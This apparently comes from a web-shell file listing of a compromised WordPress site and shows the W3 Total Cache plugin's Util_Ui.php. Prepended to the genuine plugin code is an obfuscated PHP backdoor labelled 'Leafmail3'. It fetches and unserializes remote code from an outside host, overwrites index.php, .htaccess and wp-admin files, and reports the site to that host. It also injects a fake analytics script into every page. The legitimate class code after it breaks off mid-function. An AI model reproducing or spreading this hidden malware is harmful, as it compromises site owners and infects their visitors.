AlkantarClanX12

Your IP : 3.21.12.88


Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/w3-total-cache/
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Current File : //home/thanudqk/shenpokertour.com/wp-content/plugins/w3-total-cache/Util_Ui.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
namespace W3TC;

use DOMDocument;

class Util_Ui {
	/**
	 * Returns button html
	 *
	 * @param string $text
	 * @param string $onclick
	 * @param string $class
	 * @return string
	 */
	public static function button( $text, $onclick = '', $class = 'button',
		$name = '' ) {
		$maybe_name = ( empty( $name ) ? '' : ' name="' . esc_attr( $name ) . '"' );
		return '<input type="button"' . $maybe_name . ' class="' .
			esc_attr( $class ) . '" value="' . esc_attr( $text ) .
			'" onclick="' . esc_attr( $onclick ) . '" />';
	}

	/**
	 * Returns button link html.
	 *
	 * @param string $text       Text.
	 * @param string $url        URL.
	 * @param bool   $new_window Open link in a new window.
	 * @param string $class      Class.
	 * @param string $name       Name.
	 * @return string
	 */
	public static function button_link( $text, $url, $new_window = false, $class = 'button', $name = '' ) {
		$url = str_replace( '&amp;', '&', $url );

		if ( $new_window ) {
			$onclick = sprintf( 'window.open(\'%s\');', addslashes( $url ) );
		} else {
			$onclick = '';

			if ( strpos( $class, 'w3tc-button-ignore-change' ) >= 0 ) {
				$onclick .= 'w3tc_beforeupload_unbind(); ';
			}

			$onclick .= sprintf( 'document.location.href=\'%s\';', addslashes( $url ) );
		}

		return self::button( $text, $onclick, $class, $name );
	}

	public static function url( $addon ) {
		if ( ! isset( $addon['page'] ) ) {
			$addon['page'] = Util_Request::get_string( 'page', 'w3tc_dashboard' );
		}

		$url = 'admin.php';
		$amp = '?';
		foreach ( $addon as $key => $value ) {
			$url .= $amp . rawurlencode( $key ) . '=' . rawurlencode( $value );
			$amp = '&';
		}

		$url = wp_nonce_url( $url, 'w3tc' );

		return $url;
	}

	/**
	 * Returns hide note button html
	 *
	 * @param string  $text
	 * @param string  $note
	 * @param string  $redirect
	 * @param boolean $admin         if to use config admin.
	 * @param string  $page
	 * @param string  $custom_method
	 * @return string
	 */
	public static function button_hide_note( $text, $note, $redirect = '',
		$admin = false, $page = '',
		$custom_method = 'w3tc_default_hide_note' ) {
		if ( '' === $page ) {
			$page = Util_Request::get_string( 'page', 'w3tc_dashboard' );
		}

		$url = sprintf( 'admin.php?page=%s&%s&note=%s', $page, $custom_method, $note );

		if ( $admin ) {
			$url .= '&admin=1';
		}

		if ( '' !== $redirect ) {
			$url .= '&redirect=' . rawurlencode( $redirect );
		}

		$url = wp_nonce_url( $url, 'w3tc' );

		return self::button_link( $text, $url, false, 'button', 'w3tc_hide_' . $custom_method );
	}

	public static function button_hide_note2( $parameters ) {
		return self::button_link(
			__( 'Hide this message', 'w3-total-cache' ),
			self::url( $parameters ),
			false,
			'button',
			'w3tc_hide_' . self::config_key_to_http_name( $parameters['key'] )
		);
	}

	public static function action_button( $action, $url, $class = '',
		$new_window = false ) {
		return self::button_link( $action, $url, $new_window, $class );
	}
	/**
	 * Returns popup button html
	 *
	 * @param string  $text
	 * @param string  $action
	 * @param string  $params
	 * @param integer $width
	 * @param integer $height
	 * @return string
	 */
	public static function button_popup( $text, $action, $params = '', $width = 800, $height = 600 ) {
		$url = wp_nonce_url( sprintf( 'admin.php?page=w3tc_dashboard&w3tc_%s%s', $action, ( '' !== $params ? '&' . $params : '' ) ), 'w3tc' );
		$url = str_replace( '&amp;', '&', $url );

		$onclick = sprintf( 'window.open(\'%s\', \'%s\', \'width=%d,height=%d,status=no,toolbar=no,menubar=no,scrollbars=yes\');', $url, $action, $width, $height );

		return self::button( $text, $onclick );
	}

	/**
	 * Returns label string for a config key.
	 *
	 * @param string $config_key
	 * @param string $area
	 */
	public static function config_label( $config_key ) {
		static $config_labels = null;
		if ( is_null( $config_labels ) ) {
			$config_labels = apply_filters( 'w3tc_config_labels', array() );
		}

		if ( isset( $config_labels[ $config_key ] ) ) {
			return $config_labels[ $config_key ];
		}

		return '';
	}

	/**
	 * Prints the label string for a config key.
	 *
	 * @param string $config_key
	 * @param string $area
	 */
	public static function e_config_label( $config_key ) {
		$config_label = self::config_label( $config_key );
		echo wp_kses(
			$config_label,
			self::get_allowed_html_for_wp_kses_from_content( $config_label )
		);
	}

	/**
	 * Returns postbox header
	 *
	 * WordPress 5.5 introduced .postbox-header, which broke the styles of our postboxes. This was
	 * resolved by adding additional css to /pub/css/options.css and pub/css/widget.css tagged with
	 * a "WP 5.5" comment.
	 *
	 * @todo Add .postbox-header to our postboxes and cleanup css.
	 * @link https://github.com/BoldGrid/w3-total-cache/issues/237
	 *
	 * @param string $title
	 * @param string $class
	 * @param string $id
	 * @return void
	 */
	public static function postbox_header( $title, $class = '', $id = '' ) {
		$id = ( ! empty( $id ) ) ? ' id="' . esc_attr( $id ) . '"' : '';
		echo '<div' . $id . ' class="postbox ' . esc_attr( $class ) . '">
			<h3 class="postbox-title"><span>' . wp_kses( $title, self::get_allowed_html_for_wp_kses_from_content( $title ) ) . '</span></h3>
			<div class="inside">';
	}

	/**
	 * Returns postbox header with tabs and links (used on the General settings page exclusively)
	 *
	 * WordPress 5.5 introduced .postbox-header, which broke the styles of our postboxes. This was
	 * resolved by adding additional css to /pub/css/options.css and pub/css/widget.css tagged with
	 * a "WP 5.5" comment.
	 *
	 * @todo Add .postbox-header to our postboxes and cleanup css.
	 * @link https://github.com/BoldGrid/w3-total-cache/issues/237
	 *
	 * @param string $title
	 * @param string $description
	 * @param string $class
	 * @param string $id
	 * @param string $adv_link
	 * @param array  $extra_links
	 * @return void
	 */
	public static function postbox_header_tabs( $title, $description = '', $class = '', $id = '', $adv_link = '', $extra_links = array() ) {
		$display_id         = ( ! empty( $id ) ) ? ' id="' . esc_attr( $id ) . '"' : '';
		$description        = ( ! empty( $description ) ) ? '<div class="postbox-description">' . wp_kses( $description, self::get_allowed_html_for_wp_kses_from_content( $description ) ) . '</div>' : '';
		$basic_settings_tab = ( ! empty( $adv_link ) ) ? '<a class="nav-tab nav-tab-active no-link">' . esc_html__( 'Basic Settings', 'w3-total-cache' ) . '</a>' : '';
		$adv_settings_tab   = ( ! empty( $adv_link ) ) ? '<a class="nav-tab link-tab" href="' . esc_url( $adv_link ) . '" gatitle="' . esc_attr( $id ) . '">' . esc_html__( 'Advanced Settings', 'w3-total-cache' ) . '<span class="dashicons dashicons-arrow-right-alt2"></span></a>' : '';

